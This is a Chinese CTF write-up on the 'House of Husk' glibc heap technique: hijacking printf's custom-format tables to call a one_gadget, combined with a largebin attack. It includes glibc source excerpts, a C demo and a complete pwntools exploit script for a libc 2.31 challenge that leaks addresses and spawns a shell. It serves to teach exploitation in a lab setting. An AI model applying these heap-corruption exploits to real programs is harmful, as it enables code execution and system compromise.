HouseofHusk本质是利用一个存在于printf中的hook

但是这个hook和下图中libc中puts等函数的hook又不同。这里的puts是由于libc没有开启FULLRELRO导致的,也就是利用libc里面的got表hook。

HouseofHusk以及一道例题_HouseofHusk

houseofhusk里面所说的printfhook,是利用glibc开放的一个自定义格式化格式化的接口。原理是检查__printf_function_table,如果这个值不为空,说明有开发者自定义的格式化字符。比如我要自定义一个%a,然后让printf在遇到%a的时候去执行我指定的函数。那么glibc会在__printf_arginfo_table[61](这个61是%aaascii码)的位置上放一个我指定的函数指针,然后去call这个函数指针.

HouseofHusk使用结论

为了更轻松的记住HouseofHusk的机制及使用情景,下面是HouseofHusk使用结论的简单总结.

1.__printf_function_table的值不为空。

2.__printf_arginfo_table被覆写为一个可写地址。

3.在__printf_arginfo_table[x]上写上我们的gadget或是别的要调用地址。(x为程序中printf所调用的格式化字符的ascii码

4.缺陷是无法做到调整参数,基本只能搭配one_gadget使用.

5.优点是触发条件简单,比起io的各路神仙满天飞,这个触发条件还是可以接受的。

例题

libc版本2.31.程序几个关键点如下

1.只能申请0x500-0x540大小的堆块,但无次数限制,同时最多存在5个未被释放堆块。

2.第一次释放堆块有uaf,以后的释放堆块都没有uaf。

3.只有一次编辑堆块的机会(看着似乎难度很大,但是实际上要编辑哪个堆块大不了就释放了在申请一次就行。这个编辑堆块本质上是给uaf的那个堆块用的)

4.show函数只有一次机会,并且只展示堆块的前十个字节(相当于是必须把uaf的那个堆块调成fd和bk一个为main_arena,一个为堆地址,然后一次拿下libc_base堆基地址了,不过调一下风水还是可以做到的)

5.还有一次任意地址写一字节机会。

HouseofHusk以及一道例题_HouseofHusk_02

思路

任意地址写一字节机会给__printf_function_tablelargebinattack__printf_arginfo_table,在上面写上一个堆地址。然后调整堆风水,在__printf_arginfo_table['s']也就是__printf_arginfo_table[0x73]的位置写上one_gadget。最后引导程序流走到上图所示的LABEL_15执行printf("%s","GoodBye!")触发我们的自定义格式化字符成功getshell。

largebinattack

之前对于largebinattack一直半懂不懂的,这次也是刚好花时间整理了一下。

下面是glibc的源码部分,问题出在

victim->bk_nextsize = fwd->fd->bk_nextsize;    

fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;

这两行,其中没有对fwd->fd->bk_nextsize进行检查,所以这个新进来的堆块victimbk_nextsize会被赋值成fwd->fd->bk_nextsize,也就是我们覆盖的bk_nextsize.

然后在下一步,在victim->bk_nextsize所找到的错误的地址再去->fd_nextsize也就是+0x20上面写上victim的地址。

 if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
 {
     fwd = bck;
     bck = bck->bk;
     victim->fd_nextsize = fwd->fd;
     victim->bk_nextsize = fwd->fd->bk_nextsize;
     fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
  }
largebin使用结论

为了更轻松地记住largebinattack机制及使用方法,下面是使用结论的简单总结。

一个大小为x的largebin,其bk_nextsize被改为地址y

当一个大小为z的堆块进入largebin,并且大小z和x属于同一组largebinbk_nextsize+0x20的地址会被写上新进入的这个堆块的堆地址。

测试demo

写了个demo练练手。可以配合本地环境编译之后逐步调试试试。

#include <stdio.h>

int main()
{
    void* p1 = malloc(0x510);
    malloc(0x20); // 防止合并
    void* p2 = malloc(0x500);
    malloc(0x20); // 防止合并

    free(p1); // p1进入unsortedbin
    malloc(0x520); // 申请一个比p1更大的堆块将p1从unsortedbin放入largebin

    long long libc_base = &printf - 0x54110;
    long long stderr_adr = libc_base + 0x1d76a0;
    *(long*)((long)p1 + 0x18) = stderr_adr - 0x20; // 将p1的bk_nextsize改为要写入的地址-0x20

    free(p2); // p2进入unsortedbin
    malloc(0x520); // 将p2放入largebin
    printf("%s",stderr_adr);

    return 0;
}

Exp

add("dbgbgtf",0x510,"aaaa")
add("dbgbgtf",0x500,"bbbb")
add("dbgbgtf",0x500,"cccc")
add("dbgbgtf",0x500,"dddd")
delete(0)
delete(2)
show(0)

fd = u64(io.recv(0x8))
bk = u64(io.recv(0x8))
libc_base = fd - 0x1ebbe0
heap_base = bk - 0xde0

log.success("libc_base = " + str(hex(libc_base)))
log.success("heap_base = " + str(hex(heap_base)))

__printf_function_table = libc_base + 0x1f0ff8
__printf_arginfo_table = libc_base + 0x1f1350

log.info("__printf_arginfo_table = " + str(hex(__printf_arginfo_table)))
log.info("__printf_function_table = " + str(hex(__printf_function_table)))

add("dbgbgtf",0x500,"cccc")
delete(2)

fakelink = p64(libc_base + 0x1ec010)*2 + p64(heap_base + 0x3b0) + p64(__printf_arginfo_table - 0x20)
ogg1 = libc_base + 0xe6aee
ogg2 = libc_base + 0xe6af1
ogg3 = libc_base + 0xe6af4

edit(0,"UafChunk",fakelink.ljust(0x388,b'\x01') + p64(ogg1))
add("dbgbgtf",0x530,"eeee")
backdoor(p64(__printf_function_table),'d')
log.success("printf('%s') will call " + str(hex(heap_base + 0x748)))

debug(io,libc_base)

payload = 0x388*b'\x00' + p64(ogg1)
add("dbgbgtf",0x500,payload)

io.interactive()